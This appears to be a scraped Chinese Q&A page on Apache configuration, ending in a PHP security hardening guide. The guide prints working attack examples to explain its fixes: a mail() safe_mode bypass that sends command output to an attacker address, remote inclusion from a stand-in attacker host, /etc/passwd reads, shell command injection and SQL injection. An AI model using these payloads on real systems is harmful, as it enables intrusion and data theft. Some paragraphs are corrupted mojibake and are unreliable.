導航:首頁 > 凈水問答 > apache過濾body

apache過濾body

發布時間:2022-04-19 23:10:10

Ⅰ flume event 的body大小怎麼修改

學習flume以來,實現了日誌的多來源自動抽取和多target的自動發送等,但是一直以來的數據清洗過程一直是放在hadoop中用MR程序定時進行清洗的,有沒有一種方式編程能夠直接在flume中來進行相關的數據清洗數據匹配,過濾掉那些不規范的臟數據,於是決定打這個flume攔截器的主義,覺得只要把代碼稍微改改,從攔截body開始自定義intercepter編程完成每個body字元串的解析欄位的正則提取和拼接,我們自定義的這個類叫:LogAnalysis 如下:

package com.besttone.interceptor;

import com.google.common.base.Charsets;
import com.google.common.collect.Lists;
import org.apache.commons.lang.StringUtils;
import org.apache.flume.Context;
import org.apache.flume.Event;

Ⅱ apache的虛擬主機

1、核心的增強
Unix線程
在有POSIX線程支持的Unix系統上,apache 虛擬主機現在可以運行在混合多進程,多線程模式。這一改進改善了很多(但不是全部)配置的可擴縮性。
新的構架系統
構架系統已經對原來基於autoconf和libtool上的草稿進行了重寫。這使得Apache的配置系統與其他包的配置系統更加相似。
多協議支持
apache 虛擬主機現在已經擁有了能夠支持伺服多協議的底層構造。mod_echo就是作為示例的成果。
對非Unix平台更好的支持
Apache 2.0在諸如BeOS,OS/2和Windows等非Unix平台上有了更好的速度和穩定性。隨著平台特定的multi-processing moles (MPMs)和Apache Portable Runtime (APR)的引入,Apache在這些平台上的指令由它們本地的API指令實現。避免了以往使用POSIX模擬層造成的bug和性能低下。
新的Apache API
2.0中模塊的API進行了重大改變。很多1.3中模塊排序/模塊優先順序的問題已經不復存在了。2.0自動處理了很多這樣的問題,模塊排序現在用per-hook的方法進行,從而擁有了更多的靈活性。而且,新的調用被加入以在避免修改Apache伺服器核心的前提下提供額外的模塊容量。
IPv6支持
在所有能被Apache Portable Runtime庫提供IPv6支持的系統上,Apache默認獲得IPv6偵聽套接字。另外,Listen, NameVirtualHost和VirtualHost 指令支持了IPv6的數字形地址字串(比如:「Listen [fe80::1]:8080」)。
濾過
apache 虛擬主機的模塊現在可以寫成過濾器的形式。當內容流經過它到伺服器或從伺服器到達的時候進行操作。舉例來說,這將使使用mod_include中的INCLUDES過濾器將CGI腳本的輸出解析為伺服器端包含指令成為可能。mod_ext_filter允許外部程序充當過濾器的角色,就象用CGI程序做處理器一樣。
多語種錯誤回報
返回給瀏覽器的錯誤信息現在已經用SSI文檔實現了多語種化。管理員可以利用此功能進行定製以達到觀感的一致。
簡化了的配置
很多易混淆的配置項已經進行了簡化。經常產生混淆的Port和BindAddress配置項已經取消了;只有Listen選項現在用於IP地址的綁定;ServerName配置項中指定的伺服器名和埠僅用於轉向和虛擬機的辨識。
本地Windows NT Unicode支持
Windows NT上的Apache 2.0現在使用utf-8標准來進行文件名的解析。這個操作直接轉換成底層的Unicode文件系統,由此為所有以Windows NT(包括Windows 2000和XP)為基礎的安裝提供了多語言支持。這一支持目前尚未涵蓋Windows 95, 98 or ME系統,因為它們仍使用機器本地的代碼頁進行文件系統的操作。
正則表達式庫更新
apache 虛擬主機包括了Perl兼容正則表達式庫(PCRE)。所有的正則表達式現在都使用了更為強大的Perl 5的語法。
2、模塊的增強
mod_ssl
Apache 2.0中的新模塊。此模塊是一個面向OpenSSL提供的SSL/TLS加密協議的一個介面。
mod_dav
Apache 2.0中的新模塊。此模塊繼承了HTTP分布式發布和版本控制規范,用於發布、得到web內容。
mod_deflate
Apache 2.0中的新模塊。此模塊允許支持此功能的瀏覽器請求頁面內容在發送前進行壓縮,以節省網路資源。
mod_auth_ldap
Apache 2.0.410中的新模塊。此模塊允許使用LDAP資料庫存儲HTTP基礎認證所需的證書。隨之而來的另一個模塊:mod_ldap ,則提供了連接池和結果的緩沖。
mod_auth_digest
利用共享內存實現了了額外的跨進程的session緩沖支持。
mod_charset_lite
Apache 2.0中的新模塊。這個試驗模塊允許針對字元集的轉換和記錄。
mod_file_cache
Apache 2.0中的新模塊。這個模塊包含了Apache 1.3中mod_mmap_static模塊的功能,另外進一步增加了緩沖能力。
mod_headers
此模塊在Apache 2.0中更具靈活性。它現在可以更改mod_proxy需用的請求headers,而且它能有條件的設置回復headers。
mod_proxy
代理模塊已經被完全重寫以充分利用新的過濾器結構的優勢,從而實現一個更為可靠的HTTP/1.1兼容的代理模塊。另外,新的<Proxy>配置部分提供了更具可讀性(而且更快)的代理站點控制; 重載<Directory proxy:...>配置的方法已經不再支持了。這個模塊現在依照協議支持分為proxy_connect, proxy_ftp和proxy_http三個部分。
mod_negotiation
加入一個新的ForceLanguagePriority指令用於保證所有情況下客戶端都收到同一個文檔,取代了不可接受的或多選擇的回應。另外,negotiation和MultiViews演算法已經進行了優化以提供更完美的結果,還有,提供了包括文檔內容的新型類型圖。
mod_autoindex
經自動索引後的目錄列表現在可被配置為使用HTML表格以達到更清晰的格式,而且允許更為細化的排序控制,包括版本排序和通配符濾過目錄列表。
mod_include
新的指令集允許修改默認的SSI元素的開始和結束標簽,而且允許以主配置文件里的錯誤提示和時間格式的配置取代SSI文檔中的相應部分。正則表達式(現在已基於Perl的正則表達式語法)的解析和分組結果可以用mod_include的變數$0 .. $9取得。
mod_auth_dbm
現在在AuthDBMType的規策下支持多種類似DBM的資料庫。

Ⅲ 如何設置Apache伺服器的緩沖區大小

你說的是緩存大小吧

Apache的緩存方式有兩種,一種是基於硬碟文件的緩存,由mod_disk_cache實現,另一種是使用內存緩存,由mod_mem_cache實現,不過它們都是依賴mod_cache模塊的,mod_cache模塊提供了一些緩存配置的指令供它們使用,而mod_file_cache模塊是搭配mod_mem_cache模塊使用的,下面分別進行介紹。


1、基於硬碟文件的緩存
基於硬碟文件存儲的緩存由mod_disk_cache模塊實現,先看個簡單的配置例子:
<IfMolemod_cache.c>
CacheDefaultExpire86400
<IfMolemod_disk_cache.c>
CacheEnabledisk/
CacheRoot/tmp/apacheCache
CacheDirLevels5
CacheDirLength4
CacheMaxFileSize1048576
CacheMinFileSize10
</IfMole>
</IfMole>


把上面的配置加到Apache的httpd.conf文件中,如果緩存相關的模塊都已經編譯進了Apache的核心,則無需載入模塊,直接就能使用上面的指令。指令的詳細說明如下:
CacheDefaultExpire:設定緩存過期的時間(秒),默認是1小時,只有當緩存的文檔沒有設置過期時間或最後修改時間時這個指令才會生效
CacheEnable:啟用緩存,第1個參數是緩存類弄,這里當然是disk了,第2個參數是緩存路徑,指的是url路徑,這里是緩存所有的東西,直接寫上「/」即可,如「/docs」則只緩存/docs下的所有文件
CacheRoot:緩存文件所在的目錄,運行Apache的用戶(如daemon或nobody)要能對其進行讀寫,如果不清楚的話可以直接設置成777,請手動建立該目錄並設置好訪問許可權
CacheDirLevels:緩存目錄的深度,默認是3,這里設置為5
CacheDirLength:緩存目錄名的字元長度,默認是4,這里設置為5
CacheMaxFileSize和CacheMaxFileSize:緩存文件的最大值和最小值(byte),當超過這個范圍時將不再緩存,這里設置為1M和10bytes
基於硬碟文件存儲的文件基本上就這些內容,設置好後重啟Apache應該就能使用了。一切正常的話,可以在緩存目錄下看到Apache自動建立的一些目錄和緩存的數據文件。
2、基於內存的緩存
基於內存的緩存主要由mod_mem_cache模塊實現,還是看個簡單的配置吧,這樣比較直觀:-)
<IfMolemod_cache.c>
<IfMolemod_mem_cache.c>
CacheEnablemem/
MCacheMaxObjectCount20000
MCacheMaxObjectSize1048576
MCacheMaxStreamingBuffer65536
MCacheMinObjectSize10
MCacheRemovalAlgorithmGDSF
MCacheSize131072
</IfMole>
</IfMole>
簡單說一下上面一些指令的意思:
CacheEnable:啟用緩存,使用基於內存的方式存儲
MCacheMaxObjectCount:在內存中最多能存儲緩存對象的個數,默認是1009,這里設置為20000
MCacheMaxObjectSize:單個緩存對象最大為1M,默認是10000bytes
MCacheMaxStreamingBuffer:在緩沖區最多能夠放置多少的將要被緩存對象的尺寸,這里設置為65536,該值通常小於100000或MCacheMaxObjectSize設置的值
MCacheMinObjectSize:單個緩存對象最小為10bytes,默認為1bytes
MCacheRemovalAlgorithm:清除緩存所使用的演算法,默認是GDSF,還有一個是LRU,可以查一下Apache的官方文檔,上面有些介紹
MCacheSize:緩存數據最多能使用的內存,單位是kb,默認是100kb,這里設置為128M
保存重啟Apache基於內存的緩存系統應該就能生效了,根據需要可以使基於內存的存儲或硬碟文件的存儲方式一起使用,只要指明不同的URL路徑即可。
3、注意事項
使用緩存需要注意如下事項:
要使用緩存,必須使用指令CacheEnable啟用它,目前可用的緩存類型為disk或mem,禁止緩存可以使用CacheDisable,如CacheDisable/private
待緩存的URL返回的狀態值必須為:200、203、300、301或410
URL的請求方式必須是GET方式
發送請求時,頭部中包含「Authorization:」的字元串時,返回的內容將不會被緩存
URL包含查詢字元串,如問號?後的那些東西,除非返回的內容包含「Expires:」,否則不會被緩存
如果返回的狀態值是200,則返回的頭部信息必須包含以下的一種才會被緩存:Etag、Last-Modified、Expires,除非設置了指令CacheIgnoreNoLastModOn
如果返回內容的頭部信息「Cache-Control:」中包含「private」,除非設置了指令CacheStorePrivateOn,否則不會被緩存
如果返回內容的頭部信息「Cache-Control:」中包含「no-sotre」,除非設置了指令CacheStoreNoStoreOn,否則不會被緩存
如果返回內容的頭部信息「Vary:」中包含了「*」,不會被緩存

Ⅳ 如何利用apache的過濾器攔截http的post請求,並提取出來postdata

利用ap_get_brigade函數從下一個過濾器中讀取數據,在利用存儲段轉換函數,將bucket轉換為字元串,就可以讀取出來了,但是具體步驟及函數你要自己去好好參考使用哪些合適
如果您對我的回答有不滿意的地方,還請您繼續追問;
答題不易,互相理解,互相幫助!

Ⅳ 如何配置apache使不同域名轉到不同埠

1、下載httpd-2.4.12.tar.gz可以去apache官網下載

2、解壓tar -zxvf httpd-2.4.12.tar.gz

3、./configure --prefix=/usr/local/apache --enable -so

4、make && make install

5、安裝的時候如果出現以下錯誤,error:apr not fount. Please read the documentation, 此時需要下載其他的包

6、下載需要的包

wgethttp://archive.apache.org/dist/apr/apr-1.4.5.tar.gz

wgethttp://archive.apache.org/dist/apr/apr-util-1.3.12.tar.gz

wgethttp://jaist.dl.sourceforge.net/project/pcre/pcre/8.10/pcre-8.10.zip

7、解決apr not found問題

tar -zxvf apr-1.4.5.tar.gz

cd apr-1.4.5

./configure --prefix=/usr/local/apr

make && make install

8、解決apr-util not found問題

tar -zxvf apr-util-1.3.12.tar.gz

cd apr-util-1.3.12

./configure --with-apr=/usr/local/apr

make && make install

9、解決pcre問題

如果沒有unzip命令,安裝(yum install -y unzip zip)

unzip -o pcre-8.10.zip

cd pcre-8.10

./configure --prefix=/usr/local/pcre

make && make install

如果此時出現如下錯誤時

make[1]:***[pcrecpp.lo]錯誤1

make[1]:Leaving directory /data/soft/nginx/pcre-8.30

make:***[all]錯誤2

yum -y install gcc-c++

10、重新編譯安裝

./configure

make && make install

11、開始安裝apache

編譯apache

./configure

編譯的時候,可能會出現上面安裝的包沒有找到,有可能是因為大小寫或者自定義的路徑默 認找不到,此時編譯帶上上面安裝包的路徑即可,我這里只有apr-util跟pcre包
找不到,所以 我就帶了兩個,如果apr找不到,這也要把apr的路徑帶上(包默認安裝的路徑在/usr/local/ 下)

./configure --with-apr-util=/usr/local/apr-util/--with-pcre=/usr/local/pcre/

make && make install

12、啟動apache

cd /usr/local/apache2/bin/

./apachectlstart

當出現

AH00558: httpd: Could not reliably determine the server'sfully qualified domain name, using localhost.localdomain. Set the 'ServerName'directive globally to suppressthis message

Starting httpd: httpd: apr_sockaddr_info_get() failed forMYHOST

先將apache服務停止,在/usr/local/apache2/bin/下 ./apachectl stop

然後切換到配置文件目錄

cd ../conf

將httpd.conf備份一下(防止寫錯造成不可恢復的錯誤)

cp httpd.conf /usr/local/apache2/conf/httpCopy.conf

備份完後就可以編輯該配置文件了(如果你覺得你不會搞錯什麼的,可以不備份)

vi httpd.conf

找到ServerRoot "/usr/local/apache2"

在下面添加

ServerName localhost:80(不修改也是可以的,只是啟動的時候會出現以上的警告,看著 煩,實際不會有啥影響)

cd ../bin

啟動apache

./apachectl start

訪問頁面

http://伺服器ip地址/

當出現下面的界面,則標識apache伺服器安裝成功


13、下面配置轉發(即同一個伺服器ip地址,多個不同的域名都解析到了該ip上,然後該伺服器上同時開著多個tomcat,運行著不同的項目,各個項目的訪問埠不同,現在配置apache根據不同的域名轉發到不同的埠,對用戶是透明的)

修改配置文件httpd.conf

vi httpd.conf


找到配置文件下面那4行,將前面的#去掉

LoadMole proxy_mole moles/mod_proxy.so
LoadMole proxy_connect_molemoles/mod_proxy_connect.so
LoadMole proxy_http_molemoles/mod_proxy_http.so
LoadMole proxy_ftp_molemoles/mod_proxy_ftp.so

去掉4個#後,下面就可以配置埠轉發的

在配置文件的最下方添加(以下是例子,大家可以根據自己的情況進行配置,下面是我個人 的一種配置,還有其他的配置方法,此處就省略了,以後有空再做其他的介紹)

<VirtualHost *:80>

ServerName 你的域名a

ServerAlias 你的域名a

ProxyPreserveHost On

ProxyRequests Off

ProxyPass / http://你的伺服器ip:8001/

ProxyPassReverse / http://你的伺服器ip:8001/

</VirtualHost>

<VirtualHost *:80>

ServerName 你的域名b

ServerAlias 你的域名b

ProxyPreserveHost On

ProxyRequests Off

ProxyPass / http://你的伺服器ip:8002/

ProxyPassReverse / http://你的伺服器ip:8002/

</VirtualHost>

此處的配置意思是,該伺服器接收到http:a:80的請求後,會轉發到http://ip:8001埠上面去,即做了轉發,因為多個域名都解析到該伺服器上,而且都是80埠,即從ip上來說,大家的請求都一樣,所以此處可以根據域名的不同來跳轉到不同埠的項目上,比如網站1跳轉到埠為8001的tomcat,網站2跳轉到埠為8002的tomcat(這里伺服器容器選擇的是tomcat)

測試http://你的域名/與http://你的域名:8001/的訪問地址結果都一樣,前者通過apache上面的過濾,轉發到了8001埠去了,後者直接到tomcat訪問去了,因為上面的配置只針對80埠轉發,大家可以根據自己的情況來做出不同的配置


完成

Ⅵ php安全配置 如何配置使其更安全

一、Web伺服器安全

PHP其實不過是Web伺服器的一個模塊功能,所以首先要保證Web伺服器的安全。當然Web伺服器要安全又必須是先保證系統安全,這樣就扯遠了,無窮無盡。PHP可以和各種Web伺服器結合,這里也只討論Apache。非常建議以chroot方式安裝啟動Apache,這樣即使Apache和PHP及其腳本出現漏洞,受影響的也只有這個禁錮的系統,不會危害實際系統。但是使用chroot的Apache後,給應用也會帶來一定的麻煩,比如連接mysql時必須用127.0.0.1地址使用tcp連接而不能用localhost實現socket連接,這在效率上會稍微差一點。還有mail函數發送郵件也是個問題,因為php.ini里的:

[mail function]
; For Win32 only.
SMTP = localhost

; For Win32 only.
sendmail_from = [email protected]

都是針對Win32平台,所以需要在chroot環境下調整好sendmail。

二、PHP本身問題

1、遠程溢出

PHP-4.1.2以下的所有版本都存在文件上傳遠程緩沖區溢出漏洞,而且攻擊程序已經廣泛流傳,成功率非常高:

http://packetstormsecurity.org/0204-exploits/7350fun
http://hsj.shadowpenguin.org/misc/php3018_exp.txt

2、遠程拒絕服務

PHP-4.2.0和PHP-4.2.1存在PHP multipart/form-data POST請求處理遠程漏洞,雖然不能獲得本地用戶許可權,但是也能造成拒絕服務。

3、safe_mode繞過漏洞

還有PHP-4.2.2以下到PHP-4.0.5版本都存在PHP mail函數繞過safe_mode限制執行命令漏洞,4.0.5版本開始mail函數增加了第五個參數,由於設計者考慮不周可以突破safe_mode的限制執行命令。其中4.0.5版本突破非常簡單,只需用分號隔開後面加shell命令就可以了,比如存在PHP腳本evil.php:

<? mail("foo@bar,"foo","bar","",$bar); ?>

執行如下的URL:

http://foo.com/evil.php?bar=;/usr/bin/id|mail [email protected]

這將id執行的結果發送給[email protected]

對於4.0.6至4.2.2的PHP突破safe_mode限制其實是利用了sendmail的-C參數,所以系統必須是使用sendmail。如下的代碼能夠突破safe_mode限制執行命令:

<?
# 注意,下面這兩個必須是不存在的,或者它們的屬主和本腳本的屬主是一樣
$script="/tmp/script123";
$cf="/tmp/cf123";

$fd = fopen($cf, "w");
fwrite($fd, "OQ/tmp
Sparse=0
R$*" . chr(9) . "$#local $@ $1 $: $1
Mlocal, P=/bin/sh, A=sh $script");
fclose($fd);

$fd = fopen($script, "w");
fwrite($fd, "rm -f $script $cf; ");
fwrite($fd, $cmd);
fclose($fd);

mail("nobody", "", "", "", "-C$cf");
?>

還是使用以上有問題版本PHP的用戶一定要及時升級到最新版本,這樣才能消除基本的安全問題。

三、PHP本身的安全配置

PHP的配置非常靈活,可以通過php.ini, httpd.conf, .htaccess文件(該目錄必須設置了AllowOverride All或Options)進行設置,還可以在腳本程序里使用ini_set()及其他的特定的函數進行設置。通過phpinfo()和get_cfg_var()函數可以得到配置選項的各個值。

如果配置選項是唯一PHP_INI_SYSTEM屬性的,必須通過php.ini和httpd.conf來修改,它們修改的是PHP的Master值,但修改之後必須重啟apache才能生效。其中php.ini設置的選項是對Web伺服器所有腳本生效,httpd.conf里設置的選項是對該定義的目錄下所有腳本生效。

如果還有其他的PHP_INI_USER, PHP_INI_PERDIR, PHP_INI_ALL屬性的選項就可以使用.htaccess文件設置,也可以通過在腳本程序自身用ini_set()函數設定,它們修改的是Local值,改了以後馬上生效。但是.htaccess只對當前目錄的腳本程序生效,ini_set()函數只對該腳本程序設置ini_set()函數以後的代碼生效。各個版本的選項屬性可能不盡相同,可以用如下命令查找當前源代碼的main.c文件得到所有的選項,以及它的屬性:

# grep PHP_INI_ /PHP_SRC/main/main.c

在討論PHP安全配置之前,應該好好了解PHP的safe_mode模式。

1、safe_mode

safe_mode是唯一PHP_INI_SYSTEM屬性,必須通過php.ini或httpd.conf來設置。要啟用safe_mode,只需修改php.ini:

safe_mode = On

或者修改httpd.conf,定義目錄:

<Directory /var/www>
Options FollowSymLinks
php_admin_value safe_mode 1
</Directory>

重啟apache後safe_mode就生效了。啟動safe_mode,會對許多PHP函數進行限制,特別是和系統相關的文件打開、命令執行等函數。
所有操作文件的函數將只能操作與腳本UID相同的文件,比如test.php腳本的內容為:

<?include("index.html")?>

幾個文件的屬性如下:

# ls -la
total 13
drwxr-xr-x 2 root root 104 Jul 20 01:25 .
drwxr-xr-x 16 root root 384 Jul 18 12:02 ..
-rw-r--r-- 1 root root 4110 Oct 26 2002 index.html
-rw-r--r-- 1 www-data www-data 41 Jul 19 19:14 test.php

在瀏覽器請求test.php會提示如下的錯誤信息:

Warning: SAFE MODE Restriction in effect. The script whose uid/gid is 33/33 is not allowed to access ./index.html owned by uid/gid 0/0 in /var/www/test.php on line 1

如果被操作文件所在目錄的UID和腳本UID一致,那麼該文件的UID即使和腳本不同也可以訪問的,不知這是否是PHP的一個漏洞還是另有隱情。所以php腳本屬主這個用戶最好就只作這個用途,絕對禁止使用root做為php腳本的屬主,這樣就達不到safe_mode的效果了。

如果想將其放寬到GID比較,則打開 safe_mode_gid可以考慮只比較文件的GID,可以設置如下選項:

safe_mode_gid = On

設置了safe_mode以後,所有命令執行的函數將被限制只能執行php.ini里safe_mode_exec_dir指定目錄里的程序,而且shell_exec、`ls -l`這種執行命令的方式會被禁止。如果確實需要調用其它程序,可以在php.ini做如下設置:

safe_mode_exec_dir = /usr/local/php/exec

然後拷貝程序到該目錄,那麼php腳本就可以用system等函數來執行該程序。而且該目錄里的shell腳本還是可以調用其它目錄里的系統命令。

safe_mode_include_dir string
當從此目錄及其子目錄(目錄必須在 include_path 中或者用完整路徑來包含)包含文件時越過 UID/GID 檢查。

從 PHP 4.2.0 開始,本指令可以接受和 include_path 指令類似的風格用分號隔開的路徑,而不只是一個目錄。

指定的限制實際上是一個前綴,而非一個目錄名。這也就是說「safe_mode_include_dir = /dir/incl」將允許訪問「/dir/include」和「/dir/incls」,如果它們存在。如果您希望將訪問控制在一個指定的目錄,那麼請在結尾加上一個斜線,例如:「safe_mode_include_dir = /dir/incl/」。

safe_mode_allowed_env_vars string
設置某些環境變罧贍蓯喬痹詰陌踩?笨凇1局噶畎??幸桓齠漢歐指艫那白毫斜懟T詘踩?J較攏?沒е荒芨謀淠切┟?志哂性謖飫鍰峁┑那白旱幕肪潮淞俊D?杴榭魷攏?沒е荒萇柚靡?PHP_ 開頭的環境變數(例如 PHP_FOO = BAR)。

注: 如果本指令為空,PHP 將使用戶可以修改任何環境變數!

safe_mode_protected_env_vars string
本指令包含有一個逗號分隔的環境變數的列表,最終用戶不能用 putenv() 來改變這些環境變數。甚至在 safe_mode_allowed_env_vars 中設置了允許修改時也不能改變這些變數。

雖然safe_mode不是萬能的(低版本的PHP可以繞過),但還是強烈建議打開安全模式,在一定程度上能夠避免一些未知的攻擊。不過啟用safe_mode會有很多限制,可能對應用帶來影響,所以還需要調整代碼和配置才能和諧。被安全模式限制或屏蔽的函數可以參考PHP手冊。

討論完safe_mode後,下面結合程序代碼實際可能出現的問題討論如何通過對PHP伺服器端的配置來避免出現的漏洞。

2、變數濫用

PHP默認register_globals = On,對於GET, POST, Cookie, Environment, Session的變罧梢災苯幼⒉岢扇?直淞俊K?塹淖⒉崴承蚴莢ariables_order = "EGPCS"(可以通過php.ini修改),同名變數variables_order右邊的覆蓋左邊,所以變數的濫用極易造成程序的混亂。而且腳本程序員往往沒有對變數初始化的習慣,像如下的程序片斷就極易受到攻擊:

<?
//test_1.php

if ($pass == "hello")
$auth = 1;

if ($auth == 1)
echo "some important information";
else
echo "nothing";
?>

攻擊者只需用如下的請求就能繞過檢查:
http://victim/test_1.php?auth=1

這雖然是一個很弱智的錯誤,但一些著名的程序也有犯過這種錯誤,比如phpnuke的遠程文件拷貝漏洞http://www.securityfocus.com/bid/3361

PHP-4.1.0發布的時候建議關閉register_globals,並提供了7個特殊的數組變數來使用各種變數。對於從GET、POST、COOKIE等來的變數並不會直接注冊成變數,必需通過數組變數來存取。PHP-4.2.0發布的時候,php.ini默認配置就是register_globals = Off。這使得程序使用PHP自身初始化的默認值,一般為0,避免了攻擊者控制判斷變數。

解決方法:

配置文件php.ini設置register_globals = Off。

要求程序員對作為判斷的變數在程序最開始初始化一個值。

3、文件打開

極易受攻擊的代碼片斷:

<?
//test_2.php

if (!($str = readfile("$filename"))) {
echo("Could not open file: $filename<BR>\n");
exit;
}
else {
echo $str;
}
?>

由於攻擊者可以指定任意的$filename,攻擊者用如下的請求就可以看到/etc/passwd:

http://victim/test_2.php?filename=/etc/passwd

如下請求可以讀php文件本身:

http://victim/test_2.php?filename=test_2.php

PHP中文件打開函數還有fopen(), file()等,如果對文件名變數檢查不嚴就會造成伺服器重要文件被訪問讀取。

解決方法:

如非特殊需要,把php的文件操作限制在web目錄裡面。以下是修改apache配置文件httpd.conf的一個例子:

<Directory /usr/local/apache/htdocs>
php_admin_value open_basedir /usr/local/apache/htdocs
</Directory>

重啟apache後,/usr/local/apache/htdocs目錄下的PHP腳本就只能操作它自己目錄下的文件了,否則PHP就會報錯:

Warning: open_basedir restriction in effect. File is in wrong directory in xxx on line xx.

使用safe_mode模式也能避免這種問題,前面已經討論過了。

4、包含文件

極易受攻擊的代碼片斷:

<?
//test_3.php

if(file_exists($filename))
include("$filename");
?>

這種不負責任的代碼會造成相當大的危害,攻擊者用如下請求可以得到/etc/passwd文件:

http://victim/test_3.php?filename=/etc/passwd

如果對於Unix版的PHP(Win版的PHP不支持遠程打開文件)攻擊者可以在自己開了http或ftp服務的機器上建立一個包含shell命令的文件,http://attack/attack.txt的內容是<?passthru("ls /etc")?>,那麼如下的請求就可以在目標主機執行命令ls /etc:

http://victim/test_3.php?filename=http://attack/attack.txt

攻擊者甚至可以通過包含apache的日誌文件access.log和error.log來得到執行命令的代碼,不過由於干擾信息太多,有時不易成功。
對於另外一種形式,如下代碼片斷:

<?
//test_4.php

include("$lib/config.php");
?>

攻擊者可以在自己的主機建立一個包含執行命令代碼的config.php文件,然後用如下請求也可以在目標主機執行命令:

http://victim/test_4.php?lib=http://attack

PHP的包含函數有include(), include_once(), require(), require_once。如果對包含文件名變數檢查不嚴就會對系統造成嚴重危險,可以遠程執行命令。

解決方法:

要求程序員包含文件里的參數盡量不要使用變數,如果使用變數,就一定要嚴格檢查要包含的文件名,絕對不能由用戶任意指定。

如前面文件打開中限制PHP操作路徑是一個必要的選項。另外,如非特殊需要,一定要關閉PHP的遠程文件打開功能。修改php.ini文件:

allow_url_fopen = Off

重啟apache。

5、文件上傳

php的文件上傳機制是把用戶上傳的文件保存在php.ini的upload_tmp_dir定義的臨時目錄(默認是系統的臨時目錄,如:/tmp)里的一個類似phpxXuoXG的隨機臨時文件,程序執行結束,該臨時文件也被刪除。PHP給上傳的文件定義了四個變數:(如form變數名是file,而且register_globals打開)

$file #就是保存到伺服器端的臨時文件(如/tmp/phpxXuoXG )
$file_size #上傳文件的大小
$file_name #上傳文件的原始名稱
$file_type #上傳文件的類型

推薦使用:

$HTTP_POST_FILES[file][tmp_name]
$HTTP_POST_FILES[file][size]
$HTTP_POST_FILES[file][name]
$HTTP_POST_FILES[file][type]

這是一個最簡單的文件上傳代碼:

<?
//test_5.php

if(isset($upload) && $file != "none") {
($file, "/usr/local/apache/htdocs/upload/".$file_name);
echo "文件".$file_name."上傳成功!點擊<a href=\"$PHP_SELF\">繼續上傳</a>";
exit;
}
?>
<html>
<head>
<title>文件上傳</title>
<meta http-equiv="Content-Type" content="text/html; charset=gb2312">
</head>
<body bgcolor="#FFFFFF">
<form enctype="multipart/form-data" method="post">
上傳文件:
<input type="file" name="file" size="30">
<input type="submit" name="upload" value="上傳">
</form>
</body>
</html>

這樣的上傳代碼存在讀取任意文件和執行命令的重大問題。
下面的請求可以把/etc/passwd文檔拷貝到web目錄/usr/local/apache/htdocs/test(注意:這個目錄必須nobody可寫)下的attack.txt文件里:

http://victim/test_5.php?upload= ... ile_name=attack.txt

然後可以用如下請求讀取口令文件:

http://victim/test/attack.txt

攻擊者可以把php文件拷貝成其它擴展名,泄漏腳本源代碼。
攻擊者可以自定義form里file_name變數的值,上傳覆蓋任意有寫許可權的文件。
攻擊者還可以上傳PHP腳本執行主機的命令。

解決方法:

PHP-4.0.3以後提供了is_uploaded_file和move_uploaded_file函數,可以檢查操作的文件是否是用戶上傳的文件,從而避免把系統文件拷貝到web目錄。
使用$HTTP_POST_FILES數組來讀取用戶上傳的文件變數。
嚴格檢查上傳變數。比如不允許是php腳本文件。

把PHP腳本操作限制在web目錄可以避免程序員使用函數把系統文件拷貝到web目錄。move_uploaded_file不受open_basedir的限制,所以不必修改php.ini里upload_tmp_dir的值。
把PHP腳本用phpencode進行加密,避免由於操作泄漏源碼。
嚴格配置文件和目錄的許可權,只允許上傳的目錄能夠讓nobody用戶可寫。
對於上傳目錄去掉PHP解釋功能,可以通過修改httpd.conf實現:

<Directory /usr/local/apache/htdocs/upload>
php_flag engine off
#如果是php3換成php3_engine off
</Directory>

重啟apache,upload目錄的php文件就不能被apache解釋了,即使上傳了php文件也沒有問題,只能直接顯示源碼。

6、命令執行

下面的代碼片斷是從PHPNetToolpack摘出,詳細的描述見:

http://www.securityfocus.com/bid/4303

<?
//test_6.php

system("traceroute $a_query",$ret_strs);
?>

由於程序沒有過濾$a_query變數,所以攻擊者可以用分號來追加執行命令。

攻擊者輸入如下請求可以執行cat /etc/passwd命令:

http://victim/test_6.php?a_query=www.example.com;cat /etc/passwd

PHP的命令執行函數還有system(), passthru(), popen()和``等。命令執行函數非常危險,慎用。如果要使用一定要嚴格檢查用戶輸入。

解決方法:

要求程序員使用escapeshellcmd()函數過濾用戶輸入的shell命令。

啟用safe_mode可以杜絕很多執行命令的問題,不過要注意PHP的版本一定要是最新的,小於PHP-4.2.2的都可能繞過safe_mode的限制去執行命令。

7、sql_inject

如下的SQL語句如果未對變數進行處理就會存在問題:

select * from login where user=$user and pass=$pass

攻擊者可以用戶名和口令都輸入1 or 1=1繞過驗證。

不過幸虧PHP有一個默認的選項magic_quotes_gpc = On,該選項使得從GET, POST, COOKIE來的變數自動加了addslashes()操作。上面SQL語句變成了:

select * from login where user=1\ or 1=\1 and pass=1\ or 1=\1

從而避免了此類sql_inject攻擊。

對於數字類型的欄位,很多程序員會這樣寫:

select * from test where id=$id

由於變數沒有用單引號擴起來,就會造成sql_inject攻擊。幸虧MySQL功能簡單,沒有sqlserver等資料庫有執行命令的SQL語句,而且PHP的mysql_query()函數也只允許執行一條SQL語句,所以用分號隔開多條SQL語句的攻擊也不能奏效。但是攻擊者起碼還可以讓查詢語句出錯,泄漏系統的一些信息,或者一些意想不到的情況。

解決方法:

要求程序員對所有用戶提交的要放到SQL語句的變數進行過濾。
即使是數字類型的欄位,變數也要用單引號擴起來,MySQL自己會把字串處理成數字。
在MySQL里不要給PHP程序高級別許可權的用戶,只允許對自己的庫進行操作,這也避免了程序出現問題被 SELECT INTO OUTFILE ... 這種攻擊。

8、警告及錯誤信息

PHP默認顯示所有的警告及錯誤信息:

error_reporting = E_ALL & ~E_NOTICE
display_errors = On

在平時開發調試時這非常有用,可以根據警告信息馬上找到程序錯誤所在。
正式應用時,警告及錯誤信息讓用戶不知所措,而且給攻擊者泄漏了腳本所在的物理路徑,為攻擊者的進一步攻擊提供了有利的信息。而且由於自己沒有訪問到錯誤的地方,反而不能及時修改程序的錯誤。所以把PHP的所有警告及錯誤信息記錄到一個日誌文件是非常明智的,即不給攻擊者泄漏物理路徑,又能讓自己知道程序錯誤所在。

修改php.ini中關於Error handling and logging部分內容:

error_reporting = E_ALL
display_errors = Off
log_errors = On
error_log = /usr/local/apache/logs/php_error.log

然後重啟apache,注意文件/usr/local/apache/logs/php_error.log必需可以讓nobody用戶可寫。

9、disable_functions

如果覺得有些函數還有威脅,可以設置php.ini里的disable_functions(這個選項不能在httpd.conf里設置),比如:

disable_functions = phpinfo, get_cfg_var

可以指定多個函數,用逗號分開。重啟apache後,phpinfo, get_cfg_var函數都被禁止了。建議關閉函數phpinfo, get_cfg_var,這兩個函數容易泄漏伺服器信息,而且沒有實際用處。

10、disable_classes

